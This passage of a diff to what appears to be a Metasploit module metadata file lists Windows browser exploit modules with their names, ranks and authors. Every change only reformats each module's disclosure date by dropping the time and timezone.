"exploit/windows/browser/ms07_017_ani_loadimage_chunksize", "rank": 500, - "disclosure_date": "2007-03-28 00:00:00 -0500", + "disclosure_date": "2007-03-28", "type": "exploit", "author": [ "hdm ", @@ -57290,7 +55248,7 @@ "name": "Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download", "full_name": "exploit/windows/browser/ms08_041_snapshotviewer", "rank": 600, - "disclosure_date": "2008-07-07 00:00:00 -0500", + "disclosure_date": "2008-07-07", "type": "exploit", "author": [ "MC " @@ -57319,7 +55277,7 @@ "name": "Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/ms08_053_mediaencoder", "rank": 300, - "disclosure_date": "2008-09-09 00:00:00 -0500", + "disclosure_date": "2008-09-09", "type": "exploit", "author": [ "MC " @@ -57348,7 +55306,7 @@ "name": "Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/ms08_070_visual_studio_msmask", "rank": 300, - "disclosure_date": "2008-08-13 00:00:00 -0500", + "disclosure_date": "2008-08-13", "type": "exploit", "author": [ "koshi", @@ -57378,7 +55336,7 @@ "name": "MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption", "full_name": "exploit/windows/browser/ms08_078_xml_corruption", "rank": 300, - "disclosure_date": "2008-12-07 00:00:00 -0600", + "disclosure_date": "2008-12-07", "type": "exploit", "author": [ "hdm " @@ -57409,7 +55367,7 @@ "name": "MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption", "full_name": "exploit/windows/browser/ms09_002_memory_corruption", "rank": 300, - "disclosure_date": "2009-02-10 00:00:00 -0600", + "disclosure_date": "2009-02-10", "type": "exploit", "author": [ "dean " @@ -57437,7 +55395,7 @@ "name": "Microsoft OWC Spreadsheet HTMLURL Buffer Overflow", "full_name": "exploit/windows/browser/ms09_043_owc_htmlurl", "rank": 300, - "disclosure_date": "2009-08-11 00:00:00 -0500", + "disclosure_date": "2009-08-11", "type": "exploit", "author": [ "jduck " @@ -57468,7 +55426,7 @@ "name": "Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption", "full_name": "exploit/windows/browser/ms09_043_owc_msdso", "rank": 300, - "disclosure_date": "2009-07-13 00:00:00 -0500", + "disclosure_date": "2009-07-13", "type": "exploit", "author": [ "unknown", @@ -57502,7 +55460,7 @@ "name": "MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption", "full_name": "exploit/windows/browser/ms09_072_style_object", "rank": 300, - "disclosure_date": "2009-11-20 00:00:00 -0600", + "disclosure_date": "2009-11-20", "type": "exploit", "author": [ "securitylab.ir ", @@ -57534,7 +55492,7 @@ "name": "MS10-002 Microsoft Internet Explorer \"Aurora\" Memory Corruption", "full_name": "exploit/windows/browser/ms10_002_aurora", "rank": 300, - "disclosure_date": "2010-01-14 00:00:00 -0600", + "disclosure_date": "2010-01-14", "type": "exploit", "author": [ "unknown", @@ -57565,7 +55523,7 @@ "name": "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free", "full_name": "exploit/windows/browser/ms10_002_ie_object", "rank": 300, - "disclosure_date": "2010-01-21 00:00:00 -0600", + "disclosure_date": "2010-01-21", "type": "exploit", "author": [ "Peter Vreugdenhil", @@ -57599,7 +55557,7 @@ "name": "MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free", "full_name": "exploit/windows/browser/ms10_018_ie_behaviors", "rank": 400, - "disclosure_date": "2010-03-09 00:00:00 -0600", + "disclosure_date": "2010-03-09", "type": "exploit", "author": [ "unknown", @@ -57636,7 +55594,7 @@ "name": "MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption", "full_name": "exploit/windows/browser/ms10_018_ie_tabular_activex", "rank": 400, - "disclosure_date": "2010-03-09 00:00:00 -0600", + "disclosure_date": "2010-03-09", "type": "exploit", "author": [ "Unknown", @@ -57667,7 +55625,7 @@ "name": "MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution", "full_name": "exploit/windows/browser/ms10_022_ie_vbscript_winhlp32", "rank": 500, - "disclosure_date": "2010-02-26 00:00:00 -0600", + "disclosure_date": "2010-02-26", "type": "exploit", "author": [ "Maurycy Prodeus", @@ -57700,7 +55658,7 @@ "name": "MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow", "full_name": "exploit/windows/browser/ms10_026_avi_nsamplespersec", "rank": 300, - "disclosure_date": "2010-04-13 00:00:00 -0500", + "disclosure_date": "2010-04-13", "type": "exploit", "author": [ "Yamata Li", @@ -57734,7 +55692,7 @@ "name": "Microsoft Help Center XSS and Command Execution", "full_name": "exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec", "rank": 600, - "disclosure_date": "2010-06-09 00:00:00 -0500", + "disclosure_date": "2010-06-09", "type": "exploit", "author": [ "Tavis Ormandy", @@ -57764,7 +55722,7 @@ "name": "Microsoft Windows Shell LNK Code Execution", "full_name": "exploit/windows/browser/ms10_046_shortcut_icon_dllloader", "rank": 600, - "disclosure_date": "2010-07-16 00:00:00 -0500", + "disclosure_date": "2010-07-16", "type": "exploit", "author": [ "hdm ", @@ -57795,7 +55753,7 @@ "name": "MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption", "full_name": "exploit/windows/browser/ms10_090_ie_css_clip", "rank": 400, - "disclosure_date": "2010-11-03 00:00:00 -0500", + "disclosure_date": "2010-11-03", "type": "exploit", "author": [ "unknown", @@ -57832,7 +55790,7 @@ "name": "MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free", "full_name": "exploit/windows/browser/ms11_003_ie_css_import", "rank": 400, - "disclosure_date": "2010-11-29 00:00:00 -0600", + "disclosure_date": "2010-11-29", "type": "exploit", "author": [ "passerby", @@ -57870,7 +55828,7 @@ "name": "MS11-050 IE mshtml!CObjectElement Use After Free", "full_name": "exploit/windows/browser/ms11_050_mshtml_cobjectelement", "rank": 300, - "disclosure_date": "2011-06-16 00:00:00 -0500", + "disclosure_date": "2011-06-16", "type": "exploit", "author": [ "d0c_s4vage", @@ -57906,7 +55864,7 @@ "name": "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free", "full_name": "exploit/windows/browser/ms11_081_option", "rank": 300, - "disclosure_date": "2012-10-11 00:00:00 -0500", + "disclosure_date": "2012-10-11", "type": "exploit", "author": [ "Ivan Fratric", @@ -57941,7 +55899,7 @@ "name": "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution", "full_name": "exploit/windows/browser/ms11_093_ole32", "rank": 300, - "disclosure_date": "2011-12-13 00:00:00 -0600", + "disclosure_date": "2011-12-13", "type": "exploit", "author": [ "Luigi Auriemma", @@ -57975,7 +55933,7 @@ "name": "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", "full_name": "exploit/windows/browser/ms12_004_midi", "rank": 300, - "disclosure_date": "2012-01-10 00:00:00 -0600", + "disclosure_date": "2012-01-10", "type": "exploit", "author": [ "Shane Garrett", @@ -58009,7 +55967,7 @@ "name": "MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow", "full_name": "exploit/windows/browser/ms12_037_ie_colspan", "rank": 300, - "disclosure_date": "2012-06-12 00:00:00 -0500", + "disclosure_date": "2012-06-12", "type": "exploit", "author": [ "Alexandre Pelletier", @@ -58044,7 +56002,7 @@ "name": "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", "full_name": "exploit/windows/browser/ms12_037_same_id", "rank": 300, - "disclosure_date": "2012-06-12 00:00:00 -0500", + "disclosure_date": "2012-06-12", "type": "exploit", "author": [ "Dark Son", @@ -58081,7 +56039,7 @@ "name": "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", "full_name": "exploit/windows/browser/ms13_009_ie_slayoutrun_uaf", "rank": 200, - "disclosure_date": "2013-02-13 00:00:00 -0600", + "disclosure_date": "2013-02-13", "type": "exploit", "author": [ "Scott Bell " @@ -58111,7 +56069,7 @@ "name": "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", "full_name": "exploit/windows/browser/ms13_022_silverlight_script_object", "rank": 300, - "disclosure_date": "2013-03-12 00:00:00 -0500", + "disclosure_date": "2013-03-12", "type": "exploit", "author": [ "James Forshaw", @@ -58147,7 +56105,7 @@ "name": "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", "full_name": "exploit/windows/browser/ms13_037_svg_dashstyle", "rank": 300, - "disclosure_date": "2013-03-06 00:00:00 -0600", + "disclosure_date": "2013-03-06", "type": "exploit", "author": [ "Nicolas Joly", @@ -58180,7 +56138,7 @@ "name": "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", "full_name": "exploit/windows/browser/ms13_055_canchor", "rank": 300, - "disclosure_date": "2013-07-09 00:00:00 -0500", + "disclosure_date": "2013-07-09", "type": "exploit", "author": [ "Jose Antonio Vazquez Gonzalez", @@ -58214,7 +56172,7 @@ "name": "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", "full_name": "exploit/windows/browser/ms13_059_cflatmarkuppointer", "rank": 300, - "disclosure_date": "2013-06-27 00:00:00 -0500", + "disclosure_date": "2013-06-27", "type": "exploit", "author": [ "corelanc0d3r", @@ -58246,7 +56204,7 @@ "name": "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", "full_name": "exploit/windows/browser/ms13_069_caret", "rank": 300, - "disclosure_date": "2013-09-10 00:00:00 -0500", + "disclosure_date": "2013-09-10", "type": "exploit", "author": [ "corelanc0d3r", @@ -58276,7 +56234,7 @@ "name": "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", "full_name": "exploit/windows/browser/ms13_080_cdisplaypointer", "rank": 300, - "disclosure_date": "2013-10-08 00:00:00 -0500", + "disclosure_date": "2013-10-08", "type": "exploit", "author": [ "Unknown", @@ -58310,7 +56268,7 @@ "name": "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", "full_name": "exploit/windows/browser/ms13_090_cardspacesigninhelper", "rank": 300, - "disclosure_date": "2013-11-08 00:00:00 -0600", + "disclosure_date": "2013-11-08", "type": "exploit", "author": [ "Unknown", @@ -58341,7 +56299,7 @@ "name": "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", "full_name": "exploit/windows/browser/ms14_012_cmarkup_uaf", "rank": 300, - "disclosure_date": "2014-02-13 00:00:00 -0600", + "disclosure_date": "2014-02-13", "type": "exploit", "author": [ "Unknown", @@ -58373,7 +56331,7 @@ "name": "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free", "full_name": "exploit/windows/browser/ms14_012_textrange", "rank": 300, - "disclosure_date": "2014-03-11 00:00:00 -0500", + "disclosure_date": "2014-03-11", "type": "exploit", "author": [ "Jason Kratzer", @@ -58401,7 +56359,7 @@ "name": "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", "full_name": "exploit/windows/browser/ms14_064_ole_code_execution", "rank": 400, - "disclosure_date": "2014-11-13 00:00:00 -0600", + "disclosure_date": "2014-11-13", "type": "exploit", "author": [ "Robert Freeman", @@ -58440,7 +56398,7 @@ "name": "Internet Explorer 11 VBScript Engine Memory Corruption", "full_name": "exploit/windows/browser/ms16_051_vbscript", "rank": 300, - "disclosure_date": "2016-05-10 00:00:00 -0500", + "disclosure_date": "2016-05-10", "type": "exploit", "author": [ "Theori", @@ -58469,7 +56427,7 @@ "name": "Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption", "full_name": "exploit/windows/browser/msvidctl_mpeg2", "rank": 300, - "disclosure_date": "2009-07-05 00:00:00 -0500", + "disclosure_date": "2009-07-05", "type": "exploit", "author": [ "Trancer " @@ -58500,7 +56458,7 @@ "name": "Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/mswhale_checkforupdates", "rank": 300, - "disclosure_date": "2009-04-15 00:00:00 -0500", + "disclosure_date": "2009-04-15", "type": "exploit", "author": [ "MC " @@ -58528,7 +56486,7 @@ "name": "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", "full_name": "exploit/windows/browser/msxml_get_definition_code_exec", "rank": 400, - "disclosure_date": "2012-06-12 00:00:00 -0500", + "disclosure_date": "2012-06-12", "type": "exploit", "author": [ "inking26", @@ -58569,7 +56527,7 @@ "name": "NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow", "full_name": "exploit/windows/browser/nctaudiofile2_setformatlikesample", "rank": 300, - "disclosure_date": "2007-01-24 00:00:00 -0600", + "disclosure_date": "2007-01-24", "type": "exploit", "author": [ "MC ", @@ -58600,7 +56558,7 @@ "name": "Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/nis2004_antispam", "rank": 300, - "disclosure_date": "2004-03-19 00:00:00 -0600", + "disclosure_date": "2004-03-19", "type": "exploit", "author": [ "MC " @@ -58628,7 +56586,7 @@ "name": "Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/nis2004_get", "rank": 300, - "disclosure_date": "2007-05-16 00:00:00 -0500", + "disclosure_date": "2007-05-16", "type": "exploit", "author": [ "MC " @@ -58657,7 +56615,7 @@ "name": "IBM Lotus Notes Client URL Handler Command Injection", "full_name": "exploit/windows/browser/notes_handler_cmdinject", "rank": 600, - "disclosure_date": "2012-06-18 00:00:00 -0500", + "disclosure_date": "2012-06-18", "type": "exploit", "author": [ "Moritz Jodeit", @@ -58690,7 +56648,7 @@ "name": "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/novell_groupwise_gwcls1_actvx", "rank": 300, - "disclosure_date": "2013-01-30 00:00:00 -0600", + "disclosure_date": "2013-01-30", "type": "exploit", "author": [ "rgod ", @@ -58728,7 +56686,7 @@ "name": "Novell iPrint Client ActiveX Control call-back-url Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_callbackurl", "rank": 300, - "disclosure_date": "2010-08-20 00:00:00 -0500", + "disclosure_date": "2010-08-20", "type": "exploit", "author": [ "Trancer " @@ -58757,7 +56715,7 @@ "name": "Novell iPrint Client ActiveX Control Date/Time Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_datetime", "rank": 500, - "disclosure_date": "2009-12-08 00:00:00 -0600", + "disclosure_date": "2009-12-08", "type": "exploit", "author": [ "jduck " @@ -58786,7 +56744,7 @@ "name": "Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_executerequest", "rank": 300, - "disclosure_date": "2008-02-22 00:00:00 -0600", + "disclosure_date": "2008-02-22", "type": "exploit", "author": [ "MC " @@ -58814,7 +56772,7 @@ "name": "Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_executerequest_dbg", "rank": 300, - "disclosure_date": "2010-08-04 00:00:00 -0500", + "disclosure_date": "2010-08-04", "type": "exploit", "author": [ "Trancer " @@ -58843,7 +56801,7 @@ "name": "Novell iPrint Client ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_getdriversettings", "rank": 300, - "disclosure_date": "2008-06-16 00:00:00 -0500", + "disclosure_date": "2008-06-16", "type": "exploit", "author": [ "MC " @@ -58871,7 +56829,7 @@ "name": "Novell iPrint Client ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_getdriversettings_2", "rank": 300, - "disclosure_date": "2010-11-15 00:00:00 -0600", + "disclosure_date": "2010-11-15", "type": "exploit", "author": [ "mr_me ", @@ -58903,7 +56861,7 @@ "name": "Novell iPrint Client ActiveX Control target-frame Buffer Overflow", "full_name": "exploit/windows/browser/novelliprint_target_frame", "rank": 500, - "disclosure_date": "2009-12-08 00:00:00 -0600", + "disclosure_date": "2009-12-08", "type": "exploit", "author": [ "jduck " @@ -58932,7 +56890,7 @@ "name": "NTR ActiveX Control Check() Method Buffer Overflow", "full_name": "exploit/windows/browser/ntr_activex_check_bof", "rank": 300, - "disclosure_date": "2012-01-11 00:00:00 -0600", + "disclosure_date": "2012-01-11", "type": "exploit", "author": [ "Carsten Eiram", @@ -58969,7 +56927,7 @@ "name": "NTR ActiveX Control StopModule() Remote Code Execution", "full_name": "exploit/windows/browser/ntr_activex_stopmodule", "rank": 300, - "disclosure_date": "2012-01-11 00:00:00 -0600", + "disclosure_date": "2012-01-11", "type": "exploit", "author": [ "Carsten Eiram", @@ -59002,7 +56960,7 @@ "name": "Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow", "full_name": "exploit/windows/browser/oracle_autovue_setmarkupmode", "rank": 300, - "disclosure_date": "2012-04-18 00:00:00 -0500", + "disclosure_date": "2012-04-18", "type": "exploit", "author": [ "Brian Gorenc", @@ -59038,7 +56996,7 @@ "name": "Oracle Document Capture 10g ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/oracle_dc_submittoexpress", "rank": 300, - "disclosure_date": "2009-08-28 00:00:00 -0500", + "disclosure_date": "2009-08-28", "type": "exploit", "author": [ "MC " @@ -59067,7 +57025,7 @@ "name": "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/oracle_webcenter_checkoutandopen", "rank": 600, - "disclosure_date": "2013-04-16 00:00:00 -0500", + "disclosure_date": "2013-04-16", "type": "exploit", "author": [ "rgod ", @@ -59098,7 +57056,7 @@ "name": "Orbit Downloader Connecting Log Creation Buffer Overflow", "full_name": "exploit/windows/browser/orbit_connecting", "rank": 300, - "disclosure_date": "2009-02-03 00:00:00 -0600", + "disclosure_date": "2009-02-03", "type": "exploit", "author": [ "MC " @@ -59126,7 +57084,7 @@ "name": "VMWare OVF Tools Format String Vulnerability", "full_name": "exploit/windows/browser/ovftool_format_string", "rank": 300, - "disclosure_date": "2012-11-08 00:00:00 -0600", + "disclosure_date": "2012-11-08", "type": "exploit", "author": [ "Jeremy Brown", @@ -59156,7 +57114,7 @@ "name": "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability", "full_name": "exploit/windows/browser/pcvue_func", "rank": 200, - "disclosure_date": "2011-10-05 00:00:00 -0500", + "disclosure_date": "2011-10-05", "type": "exploit", "author": [ "Luigi Auriemma", @@ -59187,7 +57145,7 @@ "name": "Persits XUpload ActiveX MakeHttpRequest Directory Traversal", "full_name": "exploit/windows/browser/persits_xupload_traversal", "rank": 600, - "disclosure_date": "2009-09-29 00:00:00 -0500", + "disclosure_date": "2009-09-29", "type": "exploit", "author": [ "jduck " @@ -59214,7 +57172,7 @@ "name": "IBM Lotus QuickR qp2 ActiveX Buffer Overflow", "full_name": "exploit/windows/browser/quickr_qp2_bof", "rank": 300, - "disclosure_date": "2012-05-23 00:00:00 -0500", + "disclosure_date": "2012-05-23", "type": "exploit", "author": [ "Gaurav Baruah", @@ -59252,7 +57210,7 @@ "name": "Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution", "full_name": "exploit/windows/browser/real_arcade_installerdlg", "rank": 300, - "disclosure_date": "2011-04-03 00:00:00 -0500", + "disclosure_date": "2011-04-03", "type": "exploit", "author": [ "rgod", @@ -59280,7 +57238,7 @@ "name": "RealNetworks RealPlayer CDDA URI Initialization Vulnerability", "full_name": "exploit/windows/browser/realplayer_cdda_uri", "rank": 300, - "disclosure_date": "2010-11-15 00:00:00 -0600", + "disclosure_date": "2010-11-15", "type": "exploit", "author": [ "bannedit ", @@ -59312,7 +57270,7 @@ "name": "RealPlayer rmoc3260.dll ActiveX Control Heap Corruption", "full_name": "exploit/windows/browser/realplayer_console", "rank": 300, - "disclosure_date": "2008-03-08 00:00:00 -0600", + "disclosure_date": "2008-03-08", "type": "exploit", "author": [ "Elazar Broad " @@ -59341,7 +57299,7 @@ "name": "RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow", "full_name": "exploit/windows/browser/realplayer_import", "rank": 300, - "disclosure_date": "2007-10-18 00:00:00 -0500", + "disclosure_date": "2007-10-18", "type": "exploit", "author": [ "MC " @@ -59370,7 +57328,7 @@ "name": "RealNetworks Realplayer QCP Parsing Heap Overflow", "full_name": "exploit/windows/browser/realplayer_qcp", "rank": 200, - "disclosure_date": "2011-08-16 00:00:00 -0500", + "disclosure_date": "2011-08-16", "type": "exploit", "author": [ "Sean de Regge", @@ -59403,7 +57361,7 @@ "name": "RealNetworks RealPlayer SMIL Buffer Overflow", "full_name": "exploit/windows/browser/realplayer_smil", "rank": 300, - "disclosure_date": "2005-03-01 00:00:00 -0600", + "disclosure_date": "2005-03-01", "type": "exploit", "author": [ "MC " @@ -59432,7 +57390,7 @@ "name": "Roxio CinePlayer ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/roxio_cineplayer", "rank": 300, - "disclosure_date": "2007-04-11 00:00:00 -0500", + "disclosure_date": "2007-04-11", "type": "exploit", "author": [ "Trancer " @@ -59460,7 +57418,7 @@ "name": "Apple Safari Webkit libxslt Arbitrary File Creation", "full_name": "exploit/windows/browser/safari_xslt_output", "rank": 600, - "disclosure_date": "2011-07-20 00:00:00 -0500", + "disclosure_date": "2011-07-20", "type": "exploit", "author": [ "Nicolas Gregoire" @@ -59488,7 +57446,7 @@ "name": "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow", "full_name": "exploit/windows/browser/samsung_neti_wiewer_backuptoavi_bof", "rank": 300, - "disclosure_date": "2012-04-21 00:00:00 -0500", + "disclosure_date": "2012-04-21", "type": "exploit", "author": [ "Luigi Auriemma", @@ -59520,7 +57478,7 @@ "name": "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution", "full_name": "exploit/windows/browser/samsung_security_manager_put", "rank": 600, - "disclosure_date": "2016-08-05 00:00:00 -0500", + "disclosure_date": "2016-08-05", "type": "exploit", "author": [ "mr_me " @@ -59547,7 +57505,7 @@ "name": "SAP AG SAPgui EAI WebViewer3D Buffer Overflow", "full_name": "exploit/windows/browser/sapgui_saveviewtosessionfile", "rank": 300, - "disclosure_date": "2009-03-31 00:00:00 -0500", + "disclosure_date": "2009-03-31", "type": "exploit", "author": [ "MC " @@ -59575,7 +57533,7 @@ "name": "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/siemens_solid_edge_selistctrlx", "rank": 300, - "disclosure_date": "2013-05-26 00:00:00 -0500", + "disclosure_date": "2013-05-26", "type": "exploit", "author": [ "rgod ", @@ -59610,7 +57568,7 @@ "name": "SoftArtisans XFile FileManager ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/softartisans_getdrivename", "rank": 300, - "disclosure_date": "2008-08-25 00:00:00 -0500", + "disclosure_date": "2008-08-25", "type": "exploit", "author": [ "MC " @@ -59639,7 +57597,7 @@ "name": "SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/sonicwall_addrouteentry", "rank": 300, - "disclosure_date": "2007-11-01 00:00:00 -0500", + "disclosure_date": "2007-11-01", "type": "exploit", "author": [ "MC " @@ -59667,7 +57625,7 @@ "name": "Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute", "full_name": "exploit/windows/browser/symantec_altirisdeployment_downloadandinstall", "rank": 600, - "disclosure_date": "2009-09-09 00:00:00 -0500", + "disclosure_date": "2009-09-09", "type": "exploit", "author": [ "MC " @@ -59695,7 +57653,7 @@ "name": "Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/symantec_altirisdeployment_runcmd", "rank": 300, - "disclosure_date": "2009-11-04 00:00:00 -0600", + "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "MC " @@ -59723,7 +57681,7 @@ "name": "Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute", "full_name": "exploit/windows/browser/symantec_appstream_unsafe", "rank": 600, - "disclosure_date": "2009-01-15 00:00:00 -0600", + "disclosure_date": "2009-01-15", "type": "exploit", "author": [ "MC " @@ -59750,7 +57708,7 @@ "name": "Symantec BackupExec Calendar Control Buffer Overflow", "full_name": "exploit/windows/browser/symantec_backupexec_pvcalendar", "rank": 300, - "disclosure_date": "2008-02-28 00:00:00 -0600", + "disclosure_date": "2008-02-28", "type": "exploit", "author": [ "Elazar Broad " @@ -59779,7 +57737,7 @@ "name": "Symantec ConsoleUtilities ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/symantec_consoleutilities_browseandsavefile", "rank": 300, - "disclosure_date": "2009-11-02 00:00:00 -0600", + "disclosure_date": "2009-11-02", "type": "exploit", "author": [ "Nikolas Sotiriu (lofi)" @@ -59812,7 +57770,7 @@ "name": "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", "full_name": "exploit/windows/browser/synactis_connecttosynactis_bof", "rank": 300, - "disclosure_date": "2013-05-30 00:00:00 -0500", + "disclosure_date": "2013-05-30", "type": "exploit", "author": [ "h1ch4m", @@ -59842,7 +57800,7 @@ "name": "Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method", "full_name": "exploit/windows/browser/systemrequirementslab_unsafe", "rank": 600, - "disclosure_date": "2008-10-16 00:00:00 -0500", + "disclosure_date": "2008-10-16", "type": "exploit", "author": [ "MC " @@ -59870,7 +57828,7 @@ "name": "TeeChart Professional ActiveX Control Trusted Integer Dereference", "full_name": "exploit/windows/browser/teechart_pro", "rank": 300, - "disclosure_date": "2011-08-11 00:00:00 -0500", + "disclosure_date": "2011-08-11", "type": "exploit", "author": [ "mr_me ", @@ -59901,7 +57859,7 @@ "name": "Tom Sawyer Software GET Extension Factory Remote Code Execution", "full_name": "exploit/windows/browser/tom_sawyer_tsgetx71ex552", "rank": 300, - "disclosure_date": "2011-05-03 00:00:00 -0500", + "disclosure_date": "2011-05-03", "type": "exploit", "author": [ "Elazar Broad", @@ -59936,7 +57894,7 @@ "name": "Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution", "full_name": "exploit/windows/browser/trendmicro_extsetowner", "rank": 300, - "disclosure_date": "2010-08-25 00:00:00 -0500", + "disclosure_date": "2010-08-25", "type": "exploit", "author": [ "Trancer " @@ -59965,7 +57923,7 @@ "name": "Trend Micro OfficeScan Client ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/trendmicro_officescan", "rank": 300, - "disclosure_date": "2007-02-12 00:00:00 -0600", + "disclosure_date": "2007-02-12", "type": "exploit", "author": [ "MC " @@ -59993,7 +57951,7 @@ "name": "Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/tumbleweed_filetransfer", "rank": 500, - "disclosure_date": "2008-04-07 00:00:00 -0500", + "disclosure_date": "2008-04-07", "type": "exploit", "author": [ "aushack " @@ -60023,7 +57981,7 @@ "name": "Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution", "full_name": "exploit/windows/browser/ubisoft_uplay_cmd_exec", "rank": 300, - "disclosure_date": "2012-07-29 00:00:00 -0500", + "disclosure_date": "2012-07-29", "type": "exploit", "author": [ "Tavis Ormandy ", @@ -60055,7 +58013,7 @@ "name": "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", "full_name": "exploit/windows/browser/ultramjcam_openfiledig_bof", "rank": 300, - "disclosure_date": "2012-03-28 00:00:00 -0500", + "disclosure_date": "2012-03-28", "type": "exploit", "author": [ "rgod", @@ -60087,7 +58045,7 @@ "name": "Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow", "full_name": "exploit/windows/browser/ultraoffice_httpupload", "rank": 400, - "disclosure_date": "2008-08-27 00:00:00 -0500", + "disclosure_date": "2008-08-27", "type": "exploit", "author": [ "shinnai", @@ -60117,7 +58075,7 @@ "name": "VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow", "full_name": "exploit/windows/browser/verypdf_pdfview", "rank": 300, - "disclosure_date": "2008-06-16 00:00:00 -0500", + "disclosure_date": "2008-06-16", "type": "exploit", "author": [ "MC ", @@ -60146,7 +58104,7 @@ "name": "Viscom Software Movie Player Pro SDK ActiveX 6.8", "full_name": "exploit/windows/browser/viscom_movieplayer_drawtext", "rank": 300, - "disclosure_date": "2010-01-12 00:00:00 -0600", + "disclosure_date": "2010-01-12", "type": "exploit", "author": [ "shinnai", @@ -60178,7 +58136,7 @@ "name": "VLC AMV Dangling Pointer Vulnerability", "full_name": "exploit/windows/browser/vlc_amv", "rank": 400, - "disclosure_date": "2011-03-23 00:00:00 -0500", + "disclosure_date": "2011-03-23", "type": "exploit", "author": [ "sinn3r " @@ -60211,7 +58169,7 @@ "name": "VLC MMS Stream Handling Buffer Overflow", "full_name": "exploit/windows/browser/vlc_mms_bof", "rank": 300, - "disclosure_date": "2012-03-15 00:00:00 -0500", + "disclosure_date": "2012-03-15", "type": "exploit", "author": [ "Florent Hochwelker", @@ -60244,7 +58202,7 @@ "name": "WebDAV Application DLL Hijacker", "full_name": "exploit/windows/browser/webdav_dll_hijacker", "rank": 0, - "disclosure_date": "2010-08-18 00:00:00 -0500", + "disclosure_date": "2010-08-18", "type": "exploit", "author": [ "hdm ", @@ -60273,7 +58231,7 @@ "name": "WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow", "full_name": "exploit/windows/browser/webex_ucf_newobject", "rank": 400, - "disclosure_date": "2008-08-06 00:00:00 -0500", + "disclosure_date": "2008-08-06", "type": "exploit", "author": [ "Tobias Klein", @@ -60310,7 +58268,7 @@ "name": "KingScada kxClientDownload.ocx ActiveX Remote Code Execution", "full_name": "exploit/windows/browser/wellintech_kingscada_kxclientdownload", "rank": 400, - "disclosure_date": "2014-01-14 00:00:00 -0600", + 